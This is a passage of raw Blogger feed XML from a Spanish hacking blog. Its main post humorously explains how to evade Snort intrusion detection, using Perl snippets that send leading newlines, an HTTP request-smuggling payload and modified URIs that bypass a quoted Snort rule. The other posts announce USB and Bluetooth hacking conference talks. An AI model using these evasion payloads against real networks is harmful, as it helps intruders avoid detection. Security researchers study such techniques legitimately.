comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/2069927200558033188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/2069927200558033188'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2012/02/php-que-no-hacer-con-los-regex.html' title='PHP: Que no hacer con los regex'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-9053130692704418399</id><published>2012-02-01T13:03:00.006-06:00</published><updated>2012-03-06T16:17:05.853-06:00</updated><title type='text'>Snort... recuento de hechos</title><content type='html'>&lt;a href="http://3.bp.blogspot.com/-ac6cwQVkjPI/TymV0SVCdHI/AAAAAAAAAK4/_303V5U8Lj8/s1600/snort.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 178px;" src="http://3.bp.blogspot.com/-ac6cwQVkjPI/TymV0SVCdHI/AAAAAAAAAK4/_303V5U8Lj8/s320/snort.jpg" alt="" id="BLOGGER_PHOTO_ID_5704255128547259506" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;(&lt;span style="font-weight: bold;"&gt;Representación artística de un Snort&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;Snort&lt;/span&gt; (&lt;span style="font-weight: bold;"&gt;Sus scrofa &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;adorno&lt;/span&gt;) es una especie de mamífero (consumido por mamones) artiodáctilo de la familia Sourcefire (y primo de la Suidae). Es un animal doméstico usado en la alimentación humana. Algunas culturas lo consideran un animal sagrado debido a que creen que brinda protección contra la magia negra y la mala suerte (algunos inclusive le hacen sacrificios y altares con tal de que los proteja). A lo largo de la historia se encontraron estatuas de este animal adornando la entrada a diferentes templos.&lt;br /&gt;Por otro lado algunas otras culturas lo consideran un mal augurio por lo que lo intentan evitar a toda costa.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Magia negra y su relación con snort en algunas culturas&lt;/span&gt;:&lt;br /&gt;Hay una creencia común de que snort es un enviado del mal y que no hay forma de eliminar la mala suerte traída por este animal. Pero se han encontrados escritos antiguos donde describen cómo deshacerse de estas criaturas sin traer la mala suerte a ti y a todos tus descendientes (aunque algunos dicen que consumir snorts en exceso hace que se te ponga morada y se caiga por lo que preocuparse de la mala suerte a la descendencia no sería un tema de importancia).&lt;br /&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;El primer método es: &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;tirarle sal al cerdo&lt;/span&gt; (antes de consumirlo se recomienda salarlo correctamente).&lt;br /&gt;&lt;pre class="Php" name="code"&gt;print $sock "\n\n\n\nGET /vuln HTTP/1.1\r\nHost: snort.org\r\n\r\n"; # agregar LF antes del request hace que snort no vea el resto, aunque no solo sirve \n también hay otros caracteres xD...&lt;/pre&gt;(No se enterara la deidad uri-content &lt;span style="font-weight: bold;"&gt;;)&lt;/span&gt; ).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Segundo método:&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; Que se distraiga y lo pateas por detrás&lt;/span&gt; (esta técnica es llama también: HTTP Request Smuggling y funciona mejor con una bota puntiaguda).&lt;br /&gt;Este método no funciona con algunos snorts (que resultan ser un poco afeminados y no se distraen tan fácilmente) a menos que se le agregue sal (a la bota, pero no te la comas (la bota)).&lt;br /&gt;&lt;pre class="Php" name="code"&gt;my $request = "GET /vuln HTTP/1.1\r\nHost: snort.org\r\n";&lt;br /&gt;print $sock "POST / HTTP/1.1\r\n".&lt;br /&gt;"Content-Type: application/x-www-form-urlencoded\r\n".&lt;br /&gt;"Content-Length: 0\r\n".&lt;br /&gt;"Host: snort.org".("\r\n"x12).&lt;br /&gt;"POST / HTTP/1.1\r\n".&lt;br /&gt;"Host: snort.org\r\n".&lt;br /&gt;"Content-Type: application/x-www-form-urlencoded\r\n".&lt;br /&gt;"Content-Length: 30".("\r\n"x12).&lt;br /&gt;"1234567890".$request;&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Tercer método: &lt;/span&gt;Envenenarlo (Cómo no se me había ocurrido antes?).&lt;br /&gt;Los snort son bastante estúpidos por naturaleza (igual que la gente que los cría) por lo que no notaran el cambio en su alimentación, ademas eliminar el problema de raíz no es una mala idea.&lt;br /&gt;&lt;br /&gt;alert tcp $EXTERNAL_NET any -&amp;gt; $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-PHP Blahz-DNS dostuff.php modify user attempt"; flow:to_server,established; content:"/dostuff.php?action=modify_user"; fast_pattern; nocase; http_uri; reference:bugtraq,4618; reference:cve,2002-0599; classtype:web-application-attack; sid:1742; rev:12;)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Veneno: &lt;/span&gt;/dostuff.php?fuck=you&amp;amp;action=modify_user&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Veneno de dosis completa:&lt;/span&gt; /dostuff.php/?fuck=you&amp;amp;action=modify_user&lt;br /&gt;&lt;br /&gt;Esos son algunos de los métodos mas recomendados para deshacerse de ese molesto animalejo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-9053130692704418399?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/9053130692704418399/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=9053130692704418399' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/9053130692704418399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/9053130692704418399'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2012/02/snort-recuento-de-hechos.html' title='Snort... recuento de hechos'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-ac6cwQVkjPI/TymV0SVCdHI/AAAAAAAAAK4/_303V5U8Lj8/s72-c/snort.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-6886711120264701020</id><published>2012-01-28T00:41:00.004-06:00</published><updated>2012-03-06T16:20:08.564-06:00</updated><title type='text'>Los caballeros en FreeSecurity</title><content type='html'>De momento estamos confirmados dos de los miembros para dar conferencia en el evento de seguridad informática: &lt;a href="http://freesecurity.mx/"&gt;Freesecurity&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;http://freesecurity.mx/yacomas/aceptadas/&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Los temas de conferencia serán:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;a style="font-weight: bold;" class="azul" href="http://freesecurity.mx/yacomas/aceptadas/Vponencia.php?vopc=6%206%20/yacomas/aceptadas/"&gt;USB Hacking&lt;/a&gt;&lt;br style="font-weight: bold;"&gt;&lt;/span&gt;La seguridad física cómo un factor critico desde el ambiente domestico al empresarial. Se trataran temas de ingeniería inversa a dispositivos USB, fuzzing, 0days y muchos más...&lt;br /&gt;Y el estreno de una nueva herramienta de pentesting: &lt;span style="font-weight: bold;"&gt;UAT (USB Attack Toolkit)&lt;/span&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;&lt;br style="font-weight: bold;"&gt;&lt;a style="font-weight: bold;" class="azul" href="http://freesecurity.mx/yacomas/aceptadas/Vponencia.php?vopc=7%207%20/yacomas/aceptadas/"&gt;Seguridad en Sistemas Azules&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;Bluetooth es uno de esos protocolos que no se toman en cuenta cuando se realiza un pentesting, dentro de una empresa un dispositivo vulnerable puede ser fácilmente utilizado por un atacante para tomar control de información vital. Se mostraran técnicas utilizadas por atacantes así cómo métodos para mantenernos seguros de este tipo de ataques.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ambas conferencias se mostraran desde el punto de vista de un atacante y del usuario.&lt;/span&gt;&lt;br /&gt;&lt;br style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;Saludos!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-6886711120264701020?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/6886711120264701020/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=6886711120264701020' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/6886711120264701020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/6886711120264701020'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2012/01/los-caballeros-en-freesecurity.html' title='Los caballeros en FreeSecurity'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-5024433785160070129</id><published>2012-01-22T14:19:00.003-06:00</published><updated>2012-01-22T16:14:08.333-06:00</updated><title type='text'>Squid Proxy... yo no lo utilizaría</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAeAAAAFoCAYAAACPNyggAAAABHNCSVQICAgIfAhkiAAAIABJREFUeF7snWmXHTlyWFlkkd0zo8XSaLFsyZJsazlH0v//LzpHXyRZ22idrZtLkcaNxM2KF5UJvOKrYpHdmcUkEkAgNgQiAOTyrr7+jV/78Ow4PlsNPH/+fMjbi/fD6mfv308Axs2HtR+ulur3PR0CP1LlTP5HIhtoP4X8s/5/TPnOwf2Y9nUO/UthLrWf8eicc/d4o3NO+yHsd2afl9rHDP/Vu6fTIPqDv5H/m8l/qf3Me/mAeDQNPH/iqdPVE9P/vsv/aIb1PUH81PaDmp/SAT/1+L3UzJ66/x5Cf9dPLcSlnfBdb39O/zzVIHbueQ6Pj9lP32X5n1q303574knYlL8zAC6xn0ucsCvQS+ifId4uyEOM36l9XmgfU/xNus9afxP5n4r3XaM4Ks7XAIP/KTsQ2pc4oPMl3Yb8vsu/rZWj9FwNPLX9QP8px89Tj99z+2kP7qn77yH0d/2UBrCn2KP8VgPn9M8IZlR3qZ6dwT8mjXN4fCr6n0L+p5LtHL0D87nzd44cl8hwSdtPYT8j+R+C/kz+Wf2Iv3Pt61IaMx726s/R34y3p1xA7cl1lJ+pgYeYgZ1JahMM43pKA/q+y7/ZKUfh2Rr4HOxn5qDPFuYjAJ96/H4EyydNPof+u9T/XV+K4FIlHu3HGjinf0aDeFQ3pjyvfep7WHL4mDKOtPAp5D+n/0c8HnVzDVxiP5f0j/dgL6E/l24f4iHs9xL59zm7rTkH/xetP5k/0qXTvyQ9wOtTGR/ayvSfQm/fd/ntgyO9HQf3scOnth+CyzkB5pxA9TEwTz1+L7Xbp+6/h9BfWwFfPeNBLV7l3EqfX7X6Vhn1H5E++/Ah8JLG8Z58u27/3rf/Xl2/HOL90N9jlU/4efb8agk8LX335u2zq56/anW1/pc//0Xgpz3tAk/Pk75/d3NSHwM4w121Fg0v8reLwJ/bhzxUthR5Ql5kjX8fnr14/oLLXf2+e/t2pQfdDx3Ph5v3ge/Fq6+iMeXQMYUeB7RGg3j2Ht3XX3/97Obm5tm7d+8iDXzt3bYXL14s77gN3iNmBn/T2oVdIO9GSv8ix6KiJkOXC/go32ln+XXT367y7JPQxPYRfTE4fE8v+rifgHM9O5Cf/sv2RWeHHfT+etHsJ+yjy1nT560+6HU2a/rLX/wi7AM8Vy+er/arvYl/psfHqod+7p/VPru8M/uf+Zc3r1+v4z2PO8dxjMyu36208pP1vygen7CMI/LYiyf5V69eBdje8fb1m72qKB/ZUcgzec9/9h7pkPikEvuFv61xe669vH8/Hv/D8dvkf/d23P5t8xf6Y+3fPOKhn5H/m6gg+tpxT19EDOkp1998880uitjBaD4TfmLcprix2iX+/MP7ZbHSxi/jAf/w9s2bZ2/evX12jaMdHTMDGbWl7up6cWQ6wmrgM/rvr5aNGg25OsnnrxbHGbQ2nOjLX78OFms78c0cMEGp0jYP3iqXZZbP9PfiV5dAZ6fn9uB4+fJl8G95vs6OY2/AOMHYq//q5atn797fxESENAJ7MyQGDga/124tbzp3K21lNF3Yv+qjwswczMgBniP/6qh7QNiTJ0/M8kAykO61e9sCMPLXfs52VWXO+dquwoIHewNuy0Zm7Su+x8jnMQC/OX99vYy/j6XL+KtHtqU8Fisc+T27ow77wT6BoX+dOOWJIeNgL0CBg/4PXLQnoJa0jaLNcuFou4f/nPLZ+N6z23PHbwg3OEb6pdlo/FLPxH90aP+Ogezj6b91nE3G954e9HeMfwN8DvQsGEb9AO8f+mQ986ZMjgf05KKG6zctAGM7168mA+TSAU4AyQMyXwfzF65QrnqAUnhw5mv5d6BWOBVVy4XXAVTlWp8DSJVNXqSxlWKgOlc6SLzqZqr/vhKuA38d4Kw4NxyD9ddtBfOuzdA+tAD8tgXgXN6ma8+oz+2rQyFYjQ51glwGkKzL2QBkhT46GCAce/K/ZMY5kZ965SL9wEyWAc3MlhnsoP3rt2/uTPyQ2XPWf7N6B602gu4y/tkEdqS7h6jTwZDWEz5nDnjGQ5UXnDnIz/Q3wx8r+HbQz23/J/qddNbvwHGs/mEnAMwmgKGzgX3V8Vft/O23r4ft63it7WfjN/ujLV1m/7dVPxu/WxOsjCf7D/1G9iPuBFa5zs3Tz4xz9IS/yynlr15cD/Ubu1vtUE/Zt1E+DcAzBV9q4M6As9OAMRU764BFvP0VrA6oCq5cOnjrpU0eHuzMLTqU6UBGCrZtliuXja7Fq4PN/KijzBvXKy9t0F8xtRscL16Ndzho+hIncP3+2au03ay+sn6lLX3yr9s2ika4xQb6Bx65DCamlDMTHB0jB47ozycLrJn97smX+2XE34vXTb8E6j4LFlZ7nwXIc/hTf9U2tN8Rf5+izqDIWPbU8fzgBz8YslBtvAIjs/hzgFe/5+iv4jQf9kPg7IsAcdb8XnvKWYFecgTNwRy22tUdWi9H+093d2butG9B5xL6M/89Gr/wMmtf+c1+kskNE5SHOOoYI885G7/xGcq+CLEN/Nhv2abAxYkdExdjBewKYleICwVc4wNxgoDBCgODN270Fdwu/VYfwtCmJSEkwH3QyB5lnqGAjnCVj4BLeVdsu+gQlHdmKPPssNzZjaO3C9gE4z3qjqyDinu+wn93826ZBMBCzMaW+xAgsvMW8otByH/opJ3v2SJXl5mJfu0Mf6MqitbVRNNnbNPojLpWxH2iN3XXDG82gHBQ0bbFqeVOMHzDcMsRuAa8B38TB/ecrfIBjml7LaX3L9m1j0NDt30Z2XSss19M4k5lK0CffYVeq813de9VP7vp9o9dbNkGZU95xAQb+dMZq76li8OmR8fW+DmFp0MW28w0uLdL+Ye2ezM6FpvbhggW0W+gWvisQXi2wpvxL94tDqAYk6qBihjfo2PUlnaj+my/uzQmBjrCD87Z+JvpD9+R/eAHbkmyU4g/abrz/uou/2dULL4UwMWerhhTDOh23rR73HsH+osADGj3H4Gr52232hA2i49vOkUvnNcjAxHBJWk24Grc59IGTsFsU/PCqAjzeYVjXVZQXlVUJQJHgMlKrTgMQBlmi989HWZ8tENflKmrzGvlI2bvWMkd739LbbbFqz5zmmkrf9bNqrPmG9zi2pNP2Nw+yzybYe7hpRz5cfYj+UftrVOvNV/LKy6cD1vcsVXtpKQDqcOZ/mu7SiPbEnXC5z6qbZ4iD1+uRu1fbWrEzwwm14s3j9lZgBzVYz99Oh8sbul0tsK+SbtGW3KO+jd8fLGbimNWP+NvNr6esyIb+I/ZBHuGv8pz3zzyrYuE1Bi9xPY8D9HeF2nBY1ZbyzY3s098D+MfOO2T1Hb5WvsyRa7pt6BjT/yCI2/xNK5i1grGYLileQBskbGeNP6cYXS+2MPnCOG5CEV0w27XOEiPrKC1jfgS3hM6fYpn22iX+IhcwpHhgGWGNjyC7+WeI7qCf2b1dtIywJpMzJSbqT1vnb04jkXGS4wPvrLTJA9dDT5fZxmVJ8oIggMmrtogAY6nfZEggmY76Teaz+wrAuzeYT/v1bdy+d4DOelX+qKfJzLuNW7l3mLJ7ew7mnFvfXTM5Kdt6K6f0An8VHS9jvA/dt0yvsNsFztufIZDOnvnbNC/iOj4DkEWO8om0Ta9hyKOAnDgSbarraBfj9lDZLMVXMa1xeis/hz73cJr2aw943+0h/Lhw1i/U/yj8duY9C2APRniKX922lqXoCt8JYGXE95jRXzB4bgdpSP0+R6wujiNH8tDeOBA1pCn/b1vKed1zDCaITKQNtNZ/V67Xg7hk4dZmgLjIYdeD0ObdMXb2kd9a2cKPvMs6SknzC7pAme+RZOgr3wvGl7o4/gibRoMvK0fgSMf8D3fHhNf8Yon4Do/0Knluf755CGom/YaFfTh04dAeCiq7X1E3ocA2lZF5Ne06Y0Ov+mPuKPnrWN2D2YWgLlPoXHGYGUigOMP429sf7vwv2c/6umq8Y9c7VbziT6t32sfTzru2Cfy8uT2aBuMGTrq3TsMllfsaYU35p4juxBhQWtKOfmaLhOJZRJFQNSuoRcOg1lGObI8VO3Jpz1jT+AJO+t2h9+ZOe9Kdy8/or/bL318skKyfdgvcsd4W8bXqP0eP7m87kBRt6XTPVxTWPxDD7jaQuDqZfFa4+BAvtHxvk8gtmDQ2/sU7LdgpvxP2ivHFu5gnS3RgYhPvQJG/rwggGX7K/zQpH+25M5l4FjPVgE+zqne4aOdwR/+aY0HyzjFDzhec3wQnpTya578Chlag600npBt1djRVtqWZosjBgUGVVIG5cJocBv2EAK3kdrot3uYy2PetZ35eBUGuG4oPPL9/LrdzG4r2xcNwU17jww8C5HOZ8vfNEJBlwlE54GOQ44FJ1pruNpTbuAPhSU88Ele+WO9TrAGKUG65Rf8zPa73NCBLvGzt48JRqfPYOOeXtBRHttk/PDVni4Kvlp75ETe/FrQOxxHwxEPIYBv54hXiwbHdcO98Hy78q0rYA2UudtVEy6CcASpq2cvv/5qkS/udS4TK/jFIE2Rlzz6jmAZHYZwJGP7a8Q27TKUD6oivMF4VUnT+VaAtr9ffPVV73f0SFQjRSeLXt/DPB2xkRJ2X+XXxBAnZL093IJmkDqoER/66OdNe48060e7WhAxTpbXYLBnDCvsEATosuku3qPH5rBtJnEExJa68jOAMRFxAiV30Y7+D/Fgihpsb+k/injPPky+n6GbVu74fNPfA7d/5TvwdDn3Uqi9hMjgCEeF7NDvcnpNmrdA1S/lXvOQn9fa8Zo2tM9jhtDHbddh2H8fl88ZyINj9oxFFk/+lQetvnh5vdjfgMZeFTZ01cadYyDLZxv1c0tz0SP19ONX7SG56P+u26rj2UOSe7ydW577bKuNMlFHv8TEv9tDyN/6DvnFQ532z3VMwFsn5NNFBDiXBQZ20O2+KYPJY/y1do6jLd5Cb/DTBjws8UwLdh9pzxO3Fr+Pv+x21qqJiwyQ6xjIYG//baUQ4fgcUhSS+Vg/ujHgf3X6Xb548IdR0dP7yIUqgDc9Wy9N10Gnp2FALR/GnvS7hz9/rCC8Wm/XsEyPmYHngRnydOMWcTXenI+VWQeMd+ccGN3rRH/1+qy3++gvpn/Lv7tpw+0W5cpvJyhfcQuiZWoQRo0EkWWlywUYFticLvq7W76MF/qCLbzlVZJVFw2TcvsaXkxEcQ49pT4e0FrH39I69IT+ug6VnzwQEYJpHLpdnA2cr06pletgdEbZBnQoEaxb++urFgDAC/J2EROFnpKPSZ/4G//suMTHLXpfgyf6Gf5iKbDcajh3XC1SI8H5h7RJg3bnJduuciq7dlupICvjCydpn2m35PNkqrYl/6L301YdZdKHN/AFjZXnU7p7OHbL4b31DjyucnKd8m2L86T5iS30mqy3XVo7FZe03UF5Uhx66/2b+1Kgpf8WmSmzD70O6bGTlnDG6rbnqXrZAjRH2Af1XCd4rveOmIQGf4HgzvgMuozvNhjwlXH08e74mLzEsUf6tjx36Bz6LsQ57REyKz+3mT0EIGzuRMryLOguVw9XIt1sSGA/13C39JPLZvdQZpLs8Wc79QRNz4oz9w11OT+aQQIL/tEx09NNecrYQKtjZws/eCpEHJAj2ufULfItATjDO2y5hxj221wDsB/ajoS2QLq1gsv6y/IHnu7wva5bhLWPbJ/bwQcnuzuxomjKyO0yndwO+agLOcLx3PKj7Jbn/EiP10meE/013BVHxq1cwMCjdTXd8w/RvpOouDIfM/sdyVbrat/hoEOX1Thrw518BJ8uv3qQhk3M2785ZdL0Gnts9NVB1sUO2XsVV37u1bgBV34yvlo3ww08+s462brHrw1N8clfzOQxpz4e0vX6lcbWV+Fzus3Fqr1dN/v/yN6fcfeA9fCIUjQeUOfrESm3LLLSuc6rhFH7S+uqkeTOrXV7tJTV1HYP0XcjY1NPWd9V78FLCs4PwVPWw9QBltc0agBe+70o96ECcOgv/k4P83l0ZX3ah26R7fW9X1rKeqdtyNVWorGV1Q7ra5pthWv1ab8bADL+fA1/GUcdNznACZfpqP8t+aKv+timPrc3T/tcXmGsP5GHPulnnmjfadvof1iizxZ7odOp/W223C6UpyzrpQGYEAzerKesc/mnzMmu9bRjAlcnAOppW4rT0hnsrP4cGsLkvlSHs+hVdWNenPVLg7mPgBnZL0MvPq3bZkHAZb3aH3vt1csXsQJWWQqThd0TsLbJHW17lZTrHuNaZdu59zHKzGuWHz6rsWzxfi6tymPFlfFwDS8+YOKTzrlfzuFNGSqtnJ85wDtbRCUSrnzXcvQHof4Mwh4Po6dc2VBeAv7+Cvj9u4VwbPG2Ax3loBXfyu3HVl+9afyFncJtSznNB+Yovt2dqDsKNUDad9Gm/cUKum+PZTzyKrx5nSCwHK7w6ad60rby00WNBN255a295DTDqps79Z33vfaWi0s80ud+H6vIil/4mf1lHreubV/xk2fh1LR2JwBu4dkqC/31ijr27J8cgHP/hg218117yrkGYNtu0bxv2Ux/Tpj38MY7udhR38PCZuO6TT6Hr18khLnP8zUge/Yh3EgX0X/tP3jqA3Edn927tLHZ+GeXLgCBW8ZN3Dpr5dMVcGW4KmrEoALWNjk/ay8O4TQiysOIWueMjmz4uc2s3Qjnfeoy/UzznA6W30yv6is+SDA4ZgMABznSReU501+DSosCd/jqK5ABa1E1on1OPYPz5CjZ1QFtqCnu4WysADK+KtdJXdvC5R7baAXMQ4YhR7oHRF681T638pRp69r/bftFh5YLa/0oAMLHop/uFHogz/xlejn4ZnrQzCc4cz4UsHUQQHhisTwEZdvcpOJb9dQnNlvoKctb9GubbjM4f+7P5Zsgwoiv5iud2fjK9VUGHqxrj8zdCYCVxl4e/mMHpE+Gqm3QbsR/BJD2czwGYG3GdI9uLh/hB26mn2kA7rKBS/mkD+1J96+sVt3LtztMAlbZR/KF/2jKi4+59FhU+wD788HIPBYtu3gFvEr4iBdZuKwoyus9sMrGXoAZKbbiuDSfaWkI4AwDSga2Ryd3qroQdib/bADs0bR8rz18EICRIR5oak43GxjllM3km/E/66f6GoID0lT+twY6A6hJMXSAPKq0f/hLLPsrYB5i4iD+R9+nB5gobxpaHyTTNk5k7itgMCx2oL/tg74zZ5uqb/Om9gt68R11J3HZzoDT1iyvfUp5DTAhqwGu1HdW1yQC4OLF1oAdfPUAnuGrbiIf+lMvp7sAyit/W+2hzyNj4Nk7snxbMOfYr/qoPMSbGizwthCfU0YA5i2HnQBs/4FK2uo2+rKVX33Vf41uB8c5bIxgZvoJGxgg4DVQeHWc+5pQK1zvpw6aR1XWe732Kfls+040bbuHP8Z0X9lijWFzCINf7Pn3/NBNfzNh/QhCA1m/hKWh7hLpg2mv/rHLsxOA1ozfyk82/lxn+X3xVfyz/B79Wbtz6uF99h7hzIHsPaQiffmv/MQA7gGYCw3b/sr52narH/Zg9ujfwo+G720wqF4uBg8nDn+AYmwfzYX1pyj3+PceaqyS0VkOMC0Y+5ay+jIFH9e2V6/SqeNCPeX2wEIP2Dw50gnHZ/xaHXqo+CudjD/LqoOVRk6VIcPX6+Cv81n1I03bZB2JO+yfJ0ubHPl+OnmOrQC84m36H/V95XUrPxtfuT/uXDeEsI/+P+qgbTvRQbYHZbcvpKvtmTIBeNFXwMDmE35sP+Kt9lGFHenHSfFI/oxfuSqN++SzDXGt/TI+PCmX1kg++QYm3lShXWOGcvN0UOBoJ7pYn7jvfuB6OkMphqywDujZp/YUYK+DZ8qrMxThVdKsU9higFcGJ/er8iAF10jB1H/Fe6JdiVtpvom/JUuWf6te/WuoVU8GSAdN5gF8vvqzhZsy6ZOCI6e5fq/9qFznxasp4FbXuU9GA3CE27ocOLbg375btnitc1AbU9cvKZVRzrqUljfvTz80gr6dAUdf9O0l8Oe+iXyzq+U9ybtBXHKs0AIf764zm29E0dPr9ju3vGPLU9pbq3Pl4ec2OfacFL8pOjqUJfgtTpZ82MRgAlKfEq3jzR/b2MJPme2zHWrDyN1+C2zZAeBhFlcK8NrOcFaNP4+Fzfa/Pql14nveQ8bBtSPbt7JmuiuidkE5+Kp9ZkcMDrco5Vka4q36yTS4tl2+zmWvXi3vAdexueqoy1rxRr6JzbfQsWX7Rbmp5lo8e2n0H68Q9gCU+xeeZuMP/xisGGjKtT4hj6kVtrUJuk0O+c5ygDff+417rcDGmGT8Lr8n73MgmQfx1R/job+yjnL/0d7D6xP7S+MneIOJ1iSeY2BnKwyqT+p6ecjWJoi8L87tgvftuxV+aKkprX2YKBn4Sj1d1E6kyrIsyFZbykYC0H7WwdkQgSUPznNoZ56Ezyn1swlEvkdgp+T022+/3RM9ynOn7gEqo7CZx6yfCkf+qgSgSiMbIHXgzumM/4ov5zG8mIB0Dy5/GWY2wZtNYGYfAngVX6y6PWoA/rYZPEcNct73u3rRHEgfWPLvJK3qqtrOVRtdi33vB2DkD5i+2jQgIzcPYPEhlcpblucc+zlRwEYm7KT3e8aHuwmZN9pY5Pi1fegy2ZD2qW6sz/Di2rIP6vbKB2ytVUG3r4Bz/0jfL8Ept7RCJ01wJgDYQtYLbQ0Y1f70QTIws1/8B/jE7/XKD3XtT34r7OjXpDL/WXb7gBT7yzJzTZ9G2urfITwBok887U/5m43ftSP6RdYjRQY89UmZ9L1eHmK6tSthkanGpxP9ENyaHByVboYLgHZQlnGrM+tJ1ZXX1m3pt3vSZQu9ZcITbaSO7/jqX+vr+PZLAyV/PQtACpIZy8xUwbMwCgF8FiT47GWzGSQGID2N5z70wW87BoPyKs9M/ipPloW6+7av+LLBq8ssnwOgGsYKOwnAwIEPOpx5oFF+Cf9uQTOA5M/JkfyZVrnNz+rrAKx47vwaUIkmPsW8F+Su2k3I0HfTTRMiTtpEvh0hV0uj39vpNfnl/k/l6DSPfhfYZYvP7VICAzx9xRfPBihG/QMvL96PH+PQvrRb05CtOd6Qb8BAXsHmPo72rW12rJRVOrYR/iQfq4ZllyEexOKBNfjpNhuBiYY7R8QOJuXRNV2/O7DSr9XBb6e5ZWs5AEkjyzgLUHv2Ld3MT4XNuqp8Rz6McbNmLRRn1s+6q9agbm7aBKHpkPral2PMS634t/oZCAOwuISLlHEWDyn2hViLTMvkd1ld4ld4zx/eYhT2MZjzmT40ap6yLHvN7/EtHuHlP+cXPhr+4nMyrNcBy3iJDltObh1MAzAIstJkQKEyo1uEY9utEbLdDL7iyG2lmRW6NWgyDukLR8qgcWUyaw8tj0zXch1c5dv8bIA6GIQ3UIof/tRB7Yfo0Oa4Rkc4+u6ccgC2zC2kEY69OgJwOOjmyB284pXn2beo93BbPlth1B0AB4O99urVskVWB4kr4HftJb6RfrSP2vf2zxq8iiO0V9yeX7up6yomQm31Gw5qoITRBBUaYR8DBPIJiXxNPrbOcAyD9tgHNDiZDGjPpPRxxWmZ/a/+tmyXPsE18KT41njMOt9SUei48y7+KmeecFOX+YD+TROeVVSmn3E5PrONZL64lTA6av+pF9oQeuIhrCaD49xUHn72s5/toof/N20HCFuWJ/vDtNov5fosJj9v3rXf4x6sgGv/VmZq/1Kf9RcTpG4npPresB+Cb/uxEoIScC6WgFsC8e0KeE++mz5Rlq+sX8rk33LpV/iqt5yXf2UTb+BM8UGcW6n0ST2BG0+fG0AVKCMf1QmnAz0HdotxjSUrJBvFDC8GkjvPjtUwNKAt2qEgAkw/qjGSrwOs4qlbWLU+D3ADJDjDQSfjqh2n3Ncj79mIZRzVyOAl11feZvkcgMFdccHjLIDO+q/irDyxqZOPGoCv/RKWEbEDG4B5i17eoeWpzbiCpVm2I2mypUQU2B2HnS5yhnNt7IIHvDie96/bCqQKlfIj+UEddjFAUG0ok6L/YoI6aJ/vgcJ/DRCj/rMup8Evjgu